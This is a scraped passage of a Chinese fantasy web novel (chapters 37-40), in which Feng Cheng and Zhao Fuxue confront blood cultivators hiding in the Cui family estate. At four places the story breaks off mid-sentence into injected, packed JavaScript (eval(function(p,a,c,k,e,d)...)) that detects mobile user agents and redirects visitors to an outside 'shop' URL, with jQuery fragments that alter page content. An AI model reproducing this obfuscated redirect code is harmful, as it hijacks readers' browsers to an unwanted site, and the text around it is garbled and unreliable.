封澄捧起茶,小心地抿了一口,不知要说什么,憋了半晌,才道一句:“浓了点。” 周寻芳哼笑一声,不置可否地给自己倒了一盏茶,喝了一口,道:“本就不指望你说出个所以然来,不过你的答案,还是荒谬到好笑了。” 封澄:“……” 她恼羞成怒地一口把茶干了。 周寻芳道:“这点,你倒是与我相投。” 说着,她把方才取茶的盖子合上,封澄眼尖,准确地瞄到上面写着的一排大字。 上书:十文。 这种包装她见过,街头十文一盒子的干茶叶,有人配好,专供路边贩夫走卒饮用。 周寻芳微微一笑,道:“于此道上,我也不通,从来只会沸水煮茶,这屋子从前是阿雪祖父的,后面便是阿雪的。” 她道:“阿雪颇精此道,从前回家,常来茶室泡着,平素里寻不到他,只管去茶室与藏书室寻他。” 封澄不知道周寻芳要表达些什么,只好干巴巴地点了点头。 她当然知道赵负雪颇精茶道,只是后来茶水解药,他不怎么喝茶了。 周寻芳道:“可这次回赵家,他几乎不来了。” 封澄心中道一声不好,周寻芳道:“姑娘可知他去哪了?” 这几日没人比封澄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这幅场景的惊人之处,便如同洛京大街上,有一只天魔大摇大摆招摇过市了一样。 “当然不是,”周寻芳慢慢道,“赵家人,择一人而终老,遇上命定之人,情深并非坏事。反是那些犹犹豫豫的,岂不是错过?” 顿了顿,她又道:“所以我只来问姑娘的意思,若是你不愿,阿雪也不该勉强——我定然不会置之不理。” 封澄更不知道说什么了,片刻,她道:“我有一事疑问,那日老尊者提起赵公子的父母……?” 说到此处,周寻芳的脸色暗了暗,封澄后知后觉地发现自己大概说错话了。 她正要找补,周寻芳却道:“阿雪的父母,便是孽债了。” 什么意思? 周寻芳道:“阿雪的母亲忽然失踪,半分讯息也没留下,其父苦寻数年,终究敌不过相思之痛,自戕而亡了。” 说到此处,封澄心中猛地一揪,道:“晚辈冒犯。” 周寻芳很疲惫地摆了摆手:“赵家夫妻,成亲之时,绑生死咒,来生往世,再续前缘。一方亡故,命咒便应验一半,我儿手腕上的命咒从未应验过,她却不愿出现,我儿日久绝望,自行了断,也算解脱。” 周寻芳缓缓地站起来:“所以,赵家感情一事,最不能勉强,你若于阿雪无意,便不要重蹈覆辙,再演他父母的覆辙。” 骤然听了一耳朵旁人家的家私,封澄晕晕乎乎,只道:“可如若一方痴心不改,有什么法子吗?” 周寻芳意味深长地看了她一眼:“自然是有的。” 38. 第 38 章 封澄出来时,天已黑沉了。 周寻芳仿佛铁了心要将她拖在茶室里,她茶点吃了一茬又一茬,茶水喝了一杯又一杯,几次试图尿遁又被她揪回,封澄只深恨赵家家主如何能清闲至此,和她一介外人都能无所事事地消磨一整天。 她揉了揉酸痛的腰,脚落在外面的实地上,心中却在想着方才周寻芳所说的话。 “这天下谁都不能保证心系之人不变心,”周寻芳道,“即便是赵家,也做不到。赵氏先祖为了避免后世血脉为生死咒所累,便传下了生死咒的反咒。” “行生死咒之反咒后,此前种种情爱,一概抹消,再不复存。” 世间竟有这等禁咒,还没待封澄惊讶完,周寻芳又接着道:“然,人心从来都是最不能掌控的东西,抹除一个生人尚且不易,更遑论是曾经痴心爱慕过的、生死不渝的情人?” “故行反咒者,从前种种情思,也会随抹去的心中之人而顺势消亡,从此断情绝爱,人间七情,与其再无瓜葛。” 人间七情,与此再无瓜葛。 这句话坠在封澄心间,沉甸甸的,她无意识地念了几遍,心乱如麻。 周寻芳道:“阿雪身为将来的家主,用上反咒,并不稀奇——实话与你说,赵氏数代家主中,没用上反咒的修士,屈指可数。” 她的脸上一片平静:“于大夏,于人族,赵氏始终处于一个至关重要的位置,赵家动,则天下动,如此庞然大物的掌舵人,人一旦无心无情,处事裁决便从理不从心,如此护得天下安宁,才是赵家家主的正道。” “若你无心,我便早日与阿雪商讨反咒之事,也算是一同了结你我二人的心事了。” 封澄有些出神,连自己不知何时走出了赵家的大门都不知道。 无心……无情吗? 望着周寻芳的眼睛,她忽然便想到后世的赵负雪了。 二十年后的赵负雪,一剑之威,却镇得长煌大原内外之魔皆不敢妄动。 护得天下安宁这件事,赵负雪大概是做到了。 无心无情,睥睨苍生,他也做到了。 她心中莫名钻出了一股无名火,连她自己也不知道这火是从哪儿冒出来了,她六神无主地乱撞出门,心乱得想要寻些酒来:“上次打的酒不错,一醉便是五日,不知这时候老板打烊了没有?” 忽然间,一人狼狈无比地扑到了她的脚尖,封澄失魂落魄,险些踩着人,她被吓了一跳,当即回了神。 来者裹着一块宽大的黑布,撞到封澄后,那破布也被撞到一旁,只见他蓬头垢面,身上和脸上还有乱七八糟的血污,像一个狼狈无比的乞丐。 深更半夜还在乞讨的,日子想必是非常难过了,封澄只当他饥饿,便顺手从荷包中掏钱,不料他他吃力地抬起脸来,艰难地扒住封澄的衣裳道:“赵家,去救人!” 夜色深黑,封澄眼睛好使,即便是深夜也能看个清楚,她定睛一看,当即变了脸色:“崔霁?” 来者正是那日飞檐走壁的如风少年,可此时此刻,他本该神采奕奕的眼睛灰暗浑浊,眼底还有密布的血丝,身上散发着臭气,全然无了那日的编草玩笑的潇洒气象。 这臭气无比熟悉,熟悉得令封澄当即变了脸色。 她果断道:“出什么事了,你先和我说!” 崔霁语无伦次:“崔家,去崔家地牢救人,有血修,求你……” 果断地,封澄飞快将他架到赵家门口,猛敲大门叫出人来,见了赵家修士,便吩咐他带崔霁去见周寻芳,崔霁的精神已然有些崩溃,听说封澄要将他安置到赵家暂行歇息后,当即崩溃无比,一边大哭一边向外面冲去道:“我,我不去!我爹娘还在里面,他们还没出来,我要回去救他们……” 这闹腾的动静不小,几个人也按不住他,封澄瞥见外头街道有数骑快马飞驰而过,随即便听到远远处踹门踹户的喧闹哭号之声,心中只一片咯噔,她当机立断地把人往里一踹,催促道:“带他进去找赵负雪,千万要藏起来!” 崔霁由且大叫哭号不止,咣咣砸门,封澄只扶额叹息。 人若是连自己都保全不了,保全别人更是痴心妄想了。 封澄没走出两步来,便见到一队骑着高头大马的修士向着赵府冲来,她心头一突:“崔家人?往这里来了?” 上门搜人,几乎是能称之为挑衅之事了,崔家哪怕借上十几个胆子,也是不敢来赵府里面搜人的。 正疑惑间,封澄想到了方才崔霁口中提到的血修。 是了,她一拍手,事出反常必有妖,上门来查赵家的,不太可能是崔家,倒是很有可能是血修。 偏生这时候的崔霁估计是没走远的,要是这群人敏锐,保不齐要听到那疯子的踢打乱叫之声。 封澄一扬手,手心被划开的伤口中甩出了一杆血色长枪,她懒洋洋地抬起枪来,挡住了的为首者的去路。 如果这群人的头儿是血修,那她倒是有法子拦一拦的。 那人见竟然有人拦马,先是一怔,随后便不耐烦道:“崔家办事,不想死的就闪开!” 封澄微微笑了:“是不是崔家办事我不知道,我只知道你们头儿,相当不会办事。” 为首者闻言大怒,抬刀便要冲上来教训教训这个出言挑衅的无名小卒,可刀还没出去,他便被身边一骑拦住了。 封澄留心一看,拦住他的人是个皮肤白得像鬼的小青年,他披着漆黑长跑吗,长了一个十分显眼的鹰钩鼻,眼底冒着血丝,低头看人时,封澄莫名感觉到了一股黏糊糊的阴森之感。 这种被冰冷的牛舌舔了一口的感觉…… 静默半晌,那人才拖着长腔道:“原来有前辈在此,是我们小的不懂规矩了。” 说着,他手下一狠,竟然将为首那人拽得滚下马来,那人尚不明所以,滚在地上一脸茫然道:“大人,是何意思?” 是何意思? 封澄冷笑一声。 作为最接近魔族的修士,血修这种东西,也不免沾了些魔族的臭习性。 比如说,划地盘。 在血修之中,弱肉强食是理所当然的事情——毕竟血修连同类都能视作食物修行。 与魔族抢怨气的道理一致,人就那么点儿,可供血修修行的血肉也就那么点儿,友好相处、和平分享,在血修中是不存在的。倘若有血修占了一处地盘儿,剩下的血修要进来撒野,便要掂量掂量自己的轻重了。 小血修进了大血修的地盘,一是要上去拜会,二是要交保护费,三是要交过路费,倘若稀里糊涂地便舞到对面脸上…… 封澄眯了眯眼睛,身上煞气一腾而出:“是把命留下,还是……?” 见了封澄煞气,那白脸修士脸上霎时一片惨白,他不敢犹豫,翻身便滚下马来,恭恭敬敬地取下腰间荷包递上:“前辈,小的来时匆忙,并非有意冒犯,一点薄礼不成敬意,日后定然封一份大礼送到您府上。” 封澄接过荷包,掂了掂。 吃了一个人的血修,比不上吃了十个人的血修,吃了十个人的血修,比不上吃了百人的血修。 血修吃过的人,清清楚楚地写在血修的煞气中。 是骡子是马,一亮煞气,便差不多能看出所以然了。 封澄眯了眯眼睛,她并不能弄清目前自己在血修中的位置——毕竟她从未吃过人。 可无论是前世还是今生,在为数不多亮煞气的环节,她从未被压倒过。 滚在地上的血修额头上不住地沁出冷汗,头也不敢抬,眼珠乱转,心跳如鼓:“在洛京这种一步一个天机师的地方,怎么会突然冒出个煞气至此的血修?从前并没有听说过血修之中有这个人!” 他偷偷瞄了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612711|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,紧接着便被那煞气骇得腿软。 这煞气,杀人如麻一词已经显得苍白了,血修修到如此地步…… 即便是屠城,也不够。 一想到此处,他额角的汗珠就一滴一滴地滚下来,砸进了地里。 难道是上古大修,重出江湖了? 难怪敢从赵家门口大摇大摆地走过……连第一天机世家都不放在眼里! 一旁被拉到马下的修士也傻了,他慌忙膝行几步,紧接着也解下了腰间荷包,恭恭敬敬地递了过去:“前辈,是小的冒犯……” 封澄低头瞄他一眼,并未从他的身上察觉到半分血修之气,她难以理解地看着他:“你并不是血修,拜我做什么?” 修士给血修上交保护费,便如同将入屠宰场的牛羊叫卖自己肥美多汁。 那修士脸涨得通红:“既然我们大人叫您一声前辈,那么我们也理应叫您一声前辈,为大人做事,该懂的事得懂。” 说着,他一脸谄媚地面向那白脸血修:“孝敬大人,是我们该做的事。” 封澄倍感荒谬可笑,她目光移向那血修,只见那血修笑道:“小的们懂事,还请前辈不要嫌弃,一并收下吧。” 此时此刻,她是真想把这修士的骨头钻开看看,瞧瞧里面到底是什么东西,怎么软成这个样子。 不过此时,里头的崔霁应当是藏好了,封澄便不再拖延时间,她抬起枪,枪尖在那白脸修士的身上缓慢地梭巡,每停一处,便引得对面一阵胆寒震悚。 封澄的枪停在了他的心口上,白脸修士不动声色地吞了一口口水,汗如雨下。 她是想要剖了他的心。 预料中的疼痛并没有如期落下,良久,她的枪停在了他的腰带上。 封澄颇为轻佻地笑了笑:“我倒不太稀罕这些金银俗物。” 说着,她极为暧昧地将那白脸血修的腰带挑起些,引得他腰间腰牌佩玉一并叮当:“不如这个,脱了吧。” 此言一出,四座皆惊,一队人马皆不可置信地看向二人,那血修闭了闭眼,心中暗暗松了口气,手下动作却不敢犹豫。 竟然从她手中捡回一条命了。 牙一咬,他将腰牌取下叼着,抬手便要宽衣解带,谁料上首处又传来一声轻笑:“我要你一、丝、不、挂,你留个腰牌,是要恶心谁?” 封澄不轻不重地将腰牌从他口中拿下,道:“接着脱。” 那血修一咬牙:“剩下的人,统统背过身去!” 那队人马不敢犹豫,当即静默无比地转身而过了。 寂静深夜中,只有他衣服摩擦而发出的簌簌声。 封澄打了个呵欠,闭了闭眼,转身便走了。 白脸血修许久才敢瑟瑟发抖地抬起头来,随即便一脸愕然——人呢? 既然走了,他也不必折磨自己,他站起身来,飞快穿上衣服,沉声道:“转回来!” 众人回头一看,那煞气强横到诡异的血修早已不见了踪影,他们的大人也已衣冠整齐,独有眼角染了两份又怒又怕的红意,那为首修士眼见地看到他衣冠皆全,独有腰牌与荷包不见了踪影,于是上去小心请示道:“大人,那腰牌……” 血修愤而上马,阴森森道:“她拿走,我便没有再要回来的道理。” 默了默,他又道:“那种血修,要我腰牌能做什么?想必走出去便随手丢了,大不了回去补一个罢,走,接着去查那小子。” 说着,他难掩怒火:“今夜蒙受如此之辱,皆是由他而起,若是被我寻到他,我定然要他尝尝我乌言的手段!” 那人又谨慎问道:“那赵家,我们还……” 乌言一咬牙:“方才我听见门口有动静,只不过此时,即便是崔霁逃来了这里,也被人塞进去了!这样,你给齐大人送个信去,求他派崔家那几条老狗来查,要快!” 39. 第 39 章 洛京的世家不多,叫得上名字来的,不过赵姜崔楚四家,其中赵家强盛,为当之无愧的第一天机世家;姜家素有权名,其天机师多出入朝堂,为帝所用;楚家低调,杂学皆精,听闻京城第一代天机院的班底,便统统都是楚家之人。 这四家中,唯有崔家,是以财名而享誉于世的。 封澄的脑中将崔家布局飞快地过了一遍。 当年她琢磨军费时,也曾和崔家打过交道,对崔家之人的印象异常明显——崔家有一个算一个,统统都是不长尾巴的狐狸。 崔家老窝也紧紧随了其主人的作风,主打一个错综缭乱,令人一头撞入,便像是走了迷宫,封澄几次进去,若非前头有崔家人领着,她定然会迷路乱撞,不知何处去了。 时间一点一点地过去,封澄搜寻无果,竟无法在崔家中找到地牢的踪影,她心中正焦急无比,忽然便听到前面有几个穿着崔家服饰的人板着脸走过。 一人道:“崔霁跑了?关在地牢里,他竟然还能跑了!” 另一人啐道:“跑了又能怎样!他一个半大的毛头小子,成事不足败事有余的,能搅出什么浪来?地牢里还关着他爹就成!这一家人也是糊涂,能叫人逃出去,不叫有用的人跑,反倒放了个混账小子。” “唉,虽说如此,齐大人还是动了火气,咱们今晚上啊,是别想睡个安生觉咯。” 封澄扒着屋檐屏息凝神,闻言心中一喜——踏破铁鞋无觅处,这两人正好是要去往崔家地牢的。 她想也不想地,提步便要跟上,谁料还没动手,身后便有人轻轻地拉了她的袖角。 谁? 想也不想地,封澄一肘子捣过去,那边当即传来一声闷哼,随即便是再熟悉不过的声音:“……是我。” 封澄看清来者,当即愣了,她收回手臂,有些讪讪道:“你怎么在这里?” 来者正是赵负雪,他垂眸看着封澄,眼底有几分不自觉的柔和笑意:“我正好碰上了崔霁,他一说,我便知道你定然提前一步来救人了。” 他松开封澄的袖子,垂眸向下看了看,不赞成地摇头道:“崔家整个院子皆笼着当世大修所绘符阵,你若这般硬闯,不等进去,便被符阵当场斩杀了。” 此时一见赵负雪,封澄便有些心乱如麻,闻言,她还是收回了注意力,道:“你有办法?” 赵负雪道:“有,只是要辛苦你一些。” 封澄:“?” 片刻,赵负雪站在了崔府门口,轻轻地敲了敲崔府的大门。 封澄站在他旁边,赵负雪身上的冷香幽幽透来,她有些面热。 赵负雪说有办法,可他没说这个办法是大摇大摆地从大门走进去! 片刻,有人来开门,见到赵负雪,来者先是一怔,又看到赵负雪身边的封澄,紧接着又是一怔。 来人似乎没想到赵负雪会来,一时间站在原地,也不请人进来,也不喊人抓人,只惊疑不定地看着他,摸不清此时此刻赵负雪前来的目的。 是崔霁那小子去赵家搬了救兵?还是赵负雪恰巧路过? 封澄将那人乱转的眼珠看得清楚,心中暗暗骂了一声。 这崔家看着好端端一个世家,实则从里到外突然烂了个透,连个看门的小修士都为血修所用了。 看门修士迟疑的时间已经漫长到了一个无礼的程度了,赵负雪微笑道:“怎么?” 修士猛地回神,忙道;“我家主人近来不方便见客,还请……” 赵负雪闻言,冷笑道:“客?谁道我是来做客的?” 说着,他从怀中取出一物来,理所当然地一抖,只见卷轴砰地摔在地上,上面纸张还叠了几叠。 “我是来讨债的。” 修士:“……” 他不敢置信地将卷轴捧来,果不其然,这上面林林总总记了不少东西,有什么灵器法宝,有什么天机藏书,有什么天材地宝…… 修士将卷轴从头到脚看去,越看眼睛瞪得越大,他并不瞎,自然能看到紧跟于其后的还账时期。 白纸黑字,确凿无疑。 七月十六。 那人脸色空白地算了算——子时已过,眼下当真是七月十六了。 赵负雪脸一沉:“怎么?债主当前,你要用今日不便见客那一招来搪塞,可是要打算赖了赵家的账?” “不敢不敢!”那修士当即一叠声地否定,随即便战战兢兢地行礼道;“小的进去请示一下主人,还请赵公子稍稍后片刻。” 他转身便脚跟不沾地跑了,侍者打扮的封澄偷偷抬起眼来,意外道:“还能这么干!” 赵负雪挑了挑眉,眉眼中氤满笑意:“出来得着急,只带了这些,世家之间大都牵扯不清,若你想看,还有更多,楚家的有,姜家的也有——不过还是崔家的最多。” 封澄对谁家欠了谁家什么东西一点儿都不感兴趣,对世家那连篇累牍的烂账更是敬谢不敏,她连连摇头,想到方才赵负雪模样,促狭地眯了眯眼:“方才我见你当门要债,气势如虹的模样,倒还挺威风。” 赵负雪他偏过头去,长且密的睫毛垂下,他盯着封澄看了半晌,幽幽道:“不如你横枪拦路,命人当街脱衣来得威风。” 封澄;“……” 封澄:“……” 赵负雪又幽幽道:“大施淫威,当真流氓,看得可爽?” 她又恼又笑,磨牙道:“我那是事急从权——赵公子不光偷听干得熟练,偷看干得也相当老道,敢问您老藏在哪个犄角旮旯处?” 赵负雪不回答,只淡淡地移开了视线。 那门房仿佛王八再世,慢腾得旷古绝今。封澄眯了眯眼,突发奇想道:“他会不会直接将账拿走,直接毁了了事?不用放你我进去了,也不用还账了。” 赵负雪摇了摇头,沉声道:“无论如今崔家主事之人是谁,都会放我们进去的。” 封澄挑眉,赵负雪接着道:“那账只是其一,还有一事,是他们无论如何都拒绝不了的。” “于他们而言,比起有可能逃到赵家的崔霁,一个送上门的赵家公子。” “才是这群血修无法拒绝的东西。” 封澄似笑非笑:“你何时学了这副以身犯险的做派。” 赵负雪回头看向她,目光是瞎子也能看出来的专注与认真。 不知何时,这双眼睛看向封澄时,总莫名含着些笑意。 “你也并未拦我,”赵负雪笑道,“为什么。” 封澄气笑了,他好整以暇地看着她,等待着她亲口说出答案。 盯他看了半晌,封澄还是翻了个白眼,开口道: “我不会让你在我面前出事,无论如何都不会。” 赵负雪转过身,气定神闲、理直气壮道:“所以辛苦你一些了。” 这话说得,仿佛以身涉险的不是他一样,又好像百家皆精的少年奇才不是他一样,封澄站在原地,盯着少年师尊玉树临风的背影,一时间心头更乱了。 *** 听到门房的禀报,再看着递上来的账目,齐遥脸色一青一白,他难以置信地将卷轴从头看到尾,又从尾看到头,猛地站起来,一巴掌把卷轴拍在大案上:“他赵家是活不起了吗!才过子时,天还乌黑着,就来收账了!” 门房支支吾吾,瑟瑟发抖道:“可,可毕竟是我们欠了赵家……” 齐遥一记眼刀飞来,门房当即脖子一缩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617375|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噤声了。 齐遥在上面来回踱步,一旁的崔家之主睁着昏花的老眼,抑扬顿挫道:“赵家从前并不急着催账,莫说是过一日了,有些时候,过个几天都不会有人上门来催,今日来得这般急,想必是有要紧东西急着收了,不如先请人进来。” 虽说即便赵家不催,也没几家敢拖债,可这子时一过便上门逼债的事情,还是从未发生过的。 齐遥回头瞪他。 他的脸并不符合平素里世人对血修的定义,不同于大多血修阴森惨白的脸,他的脸浮着一层健康的麦色,一双眼又圆又亮,抬眼闭眼间,竟有种邻家弟弟的天真感,又加上其身量不高,眉眼带笑,这么打眼一看上去,谁会将他与臭名昭著的血修联系到一起去? 他几乎恨不得将那卷轴撕了:“早不来晚不来,偏偏这时候来!这时候谁知道他是崔霁搬来的救兵还是闲的没事干过来讨债的!” 说着,他猛地一回头,目光中露出凶色:“不如这样,把他偷偷带进来杀了,赵家那边要是问,就死不认账,反正半夜三更的没人看见,我把他一吃,连尸骨都找不到。” 当真是理所当然的残忍,即便是见过他修行的崔家主也缓缓睁开了眼。 门房哭丧着脸,跪下道:“使不得啊,使不得啊,来的人若是死了,保不齐整个崔家都要被赵家扬了!” 听闻此话,一直在兴奋踱步的齐遥停住了脚,他道:“来的是谁?” 门房闭了闭眼,牙一咬道:“来得正是赵家将来的家主,负雪公子。” 话音一落,偌大厅堂内当即寂静无声。 门房瑟瑟发抖地跪在地上,陡然间,齐遥哈哈大笑起来,这笑声越笑越高,越笑越癫狂,到最后,门房几乎担心起了他的脸会不会因此而被撕成两半。 许久,齐遥笑够了,他的眼睛闪闪发亮地转过来,盯着门房,一字一顿道:“请他、进来。” 门房是半点儿也不想在这屋子里面呆了,他转身逃也似的跑了,仿佛后面有厉鬼在追似的。 齐遥兴奋而焦躁地在大案前来回踱步,一会儿蹦到案上,一会儿躺在椅上,简直是坐卧不安的真实写照,崔家主不由得又睁开了昏花的老眼,迟缓道:“大人为何,这般高兴啊?” 齐遥焦躁地挠了挠自己的的脖子,又不解痒地挠了挠自己的脸,直挠得血痕斑斑;“赵负雪,哈哈哈哈哈哈,竟然是赵负雪!他送上门来了!我从前就想吃他,想得心痒难耐!可惜赵家像个打不破的铁锅,煮着这么香的肉,却只让人在外面反馋。” 想到这里,他舔了舔嘴唇:“连镇国大兽都要护着的天才,赵家血脉,目中无人的天之骄子……” “这样的骨头嚼起来,想必也比旁人多一分滋味了。” 崔家主掀了掀眼皮,懒洋洋道:“你吃他不要紧,求你莫要为崔家找事。” 齐遥从来就是个疯子,若不是他带来的东西实在是好,崔庆也不会将这么一个臭名昭著的血修放进崔家来,还由着他在崔家兴风作浪。 凡是与他过不去的崔家人,不是被他偷偷吃了,就是被放进了地牢,折磨得不成.人形。 崔庆迟缓地闭了闭眼,鼻子不由自主地耸动了耸动。 不过嘛,看在他那些好东西的份上,这点牺牲,当真不算什么。 就当是他们为崔家的兴起出一份力了,平素里仰仗崔家的庇佑,也不是白养他们的。 想了想,崔庆伸出手来,比了个五:“我帮你抓他,在原来的货上,再加五成。” 齐遥盯着他不断耸动的鼻子:“狮子大开口。” 崔庆道:“你干不干。” 齐遥笑了:“活的。” “成交。” 40. 第 40 章 门房并没有让二人等上多久,不多时,二人便进了崔家的大门。 一片乌夜中,只有那门房的一盏灯摇摇晃晃,这本是伸手不见五指的时候,可赵负雪低头看看走在身边的封澄,却发觉她探头探脑,眼睛亮得像一只好奇的夜枭。 不知为何,他哑然失笑。 “崔家老窝藏得果然深,”封澄一边将周围布景不动声色地收入眼底,一边微微皱眉。 崔家的天机师远远没有其财富闻名,事实上,当世大修之中,崔家连点儿边都不沾。 其立家之道,本为仁义,可封澄冷眼旁观,崔家处事早已与仁义没了关系,倒和银子联系紧密。 崔家人似乎笃信,天下没有用银子解决不了的问题,如果有,那就上金子。 这般想着,门房带着二人进了崔家的议事大堂。 封澄抬眼看去,只觉得此处威严奢华,旁人有一来,即便是漆黑子夜,也能被隐没在沉沉月色中的庞然大物所威慑。 门上一大匾,上写三字“百岁堂”,相传是崔家先人所书,浮华肆意,观之忘俗。 二人随着门房而入,封澄尚在门口数丈远,还没步入,便被屋中熏人欲醉的香味冲了满怀,她当即鼻子一痒,忍不住悄声道:“这是什么香,即便是崔家财大气粗,又何必把屋子点得像个破了底的香囊?” 可封澄抬眼一看,却看到了赵负雪骤然阴下来的脸色。 “屏息,”赵负雪道,“不是好东西。” 他脸色阴得吓人,封澄少见赵负雪这般凝重的脸色,这副表情,封澄只在二十年后见过。 一个香料,如何能令他反应这么大? 封澄只皱眉一想,心中便浮起隐隐的猜测,她不动声色地耸了耸鼻子,将那粘稠得几乎拉出丝来的浓艳香气收入鼻腔,她觉得这味道似曾相识,总觉得是在哪里嗅到过。 赵负雪带着她走入百岁堂中,午夜无人,堂中空旷,寂静无声,可怪的是,这屋中连一盏灯也没点。 正疑惑着,堂上便有人居高临下道:“赵公子,久闻大名,今日可算相见了。” 这声音甚是年轻,可听起来,却如同这香料一般粘腻而浓艳,封澄的指尖不动声色地落在掌心,轻轻地划了一道。 除非是崔家那老头儿上哪座仙山习得了返老还童之术,否则这绝对不是他能发出来的动静。 赵负雪冷声道;“藏头露尾,债主已到堂前,却连个面都不敢露吗?” 堂上当即响起一声大笑,他一扬袖,只听嗖嗖嗖几道火光飞出,堂内灯台应声而亮,封澄抬起眼,终于看到了端坐于堂前的人。 还有瘫坐在一旁的老者。 那老者的仿佛醉死了般,甚至连呼吸声都显得隐蔽,若没亮起灯来,旁人甚至注意不到他。 年轻那人披着一身黑色大氅,明明是炎炎夏日,他却穿得像是数九寒冬一般,封澄定睛一看,总觉得这大氅似乎哪里怪怪的。 待那人站起来,封澄才发觉这衣服哪里怪——他的身高着实低调,这衣服肥大,活像他穿着他爹的。 齐遥微笑道:“赵公子带的账目,我已吩咐人一一对过,确凿无误。小的们不敢耽误,这会儿已经去取东西了,您稍坐片刻。” 说着,他便对他下手一位做了个情的手势,谁料赵负雪岿然不动,一张俊脸赛雪欺霜:“还账于赵家的,当是崔家的家主,你算什么东西。” 肉眼可见的,齐遥的笑意凝住了。 在足以杀死人的寂静中,赵负雪又微微抬了下巴,倨傲道:“一身臭味,熏得人头疼。” 封澄在一旁目瞪口呆。 她倒是知道年轻时的赵负雪不好相处——这点在古安便初见端倪了,可没想到这少年赵负雪摆出这副谁也不配和他说话的公子哥谱儿,竟能不好相处到如此地步。 封澄摸了摸鼻子,有点想笑。 果然,上面的齐遥呵呵冷笑两声,不过即便脸色青得吓人,他还是若无其事地拍手道:“既然这样,那我便将崔家家主,请来,陪公子说话可好?” 说到“请来”两字时,他加重了话音,硬是让人听出一股咬牙切齿的味道来。 赵负雪不回答,仿佛齐遥在放屁。 齐遥闭了闭眼,随即转过身,一脚便狠狠地踹向瘫倒在贵妃榻上的崔庆,这一脚来得又狠又毒,专挑人胫骨,照封澄平常搏斗的经验来看,这种力道下去,必折。 果然,那声令人牙酸的脆响在子夜中格外清晰,可崔庆缓缓地睁开眼,脸上半分痛色也无,他如梦初醒,好像是梦还没做完一样。 谁知见到堂下赵负雪,他一窜而起,一身肥大的肉喜不自禁地抖了抖,当即涕泗横流,见了救星似的就要扑下去:“贤侄!贤侄,你怎么才来啊贤侄!” 这声贤侄叫得封澄寒毛直抖,心想这老胖子难道是昏了头,谁家管上门讨债的债主叫贤侄? 眼见着崔庆就要扑过来,赵负雪皱了皱眉,亮了见素,寒声道:“上前一步,见素便不认得什么叔叔伯伯了。” 崔庆当即讪讪地停了脚步,赵负雪又道:“我只来结七月十六的账,结完便走,崔家主,寒暄话不必说了,东西呢?” 眼看着赵负雪义正词严,好像今夜除了催账便没有其余目的了,齐遥与崔庆不动声色地交换了一个眼神。 崔庆挠了挠头,为难道:“实不相瞒,赵公子,今天这账,不是我不想还,是我着实还不了啊。” 闻言,赵负雪便一挑眉:“如何还不了?” 崔庆道:“赵公子这两年在外面不知道,近些年的崔家,实在是不比从前了!” 不比从前? 赵负雪好笑道:“崔家主大可不必过谦,先不说崔家的豪富之名何人不知,只说我赵家催账天经地义,哪里是你拿出一句不比从前就能搪塞住的?” 崔庆叹了口气,摇了摇头道:“我崔家拿不出钱来,别说是贤侄来,就是老尊者亲自来,崔家也只有这句话。” 赵负雪倒是笑了;“你倒是半点不怕。” 崔庆瞥了一旁的齐遥一眼,咬牙道:“不如这样,赵公子,我崔家眼下虽没金子银子,却有比金子银子更值钱的东西,我拿这东西来公子抵债,如何?” 赵负雪似笑非笑,抱剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659806|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“你说的这东西,不是你这张老脸吧?” 说着,他好像生怕崔庆突然给他表演一个男儿膝下有黄金一样,动作很大地向封澄那里挪了挪,嫌弃之意溢于言表。 封澄被他这演技骇住了:“……” 崔庆:“……” 崔庆一噎,又赌咒发誓道:“老头子拿这一辈子的名声做保证,这可是实打实的硬通货!比金子,银子,甚至说灵气宝药硬通得多!” 赵负雪闻言,凉凉道:“果然是把您那金贵的老脸捞出来作保了,我说什么来着。” 封澄压根不敢看崔庆那张色彩纷呈的脸,在一旁忍笑忍得几乎要憋死过去,全身上下不断地抖啊抖。 话说到这儿,差不多便够了,赵负雪也记着地牢中的崔霁父母,直切主题道:“把你说的东西取上来,我看看是什么东西,竟能比金银还硬。” 崔庆当即拍了拍手,只见一人不知从何处钻出来,低头弯腰,恭恭敬敬地捧了一盘沉甸甸的、糕点一样的东西来。 封澄一看——那托着的盘子,竟是如假包换的金盘。 是什么东西,竟要用金盘作配? 待那东西送上前来,封澄心底当即咯噔一声,隔着远包得严实看不出来,一凑近,那‘糕点’上的香气几乎扑上人的鼻子来! 这香料与殿中所燃的一模一样,封澄下意识地便要后退一步,谁知一抬腿,腿竟然软绵绵的。 这是什么时候的事?封澄眯了眯眼睛——站在这里尚且一无所觉,若是听那血修的话坐了,此事更是觉不出不对来了。 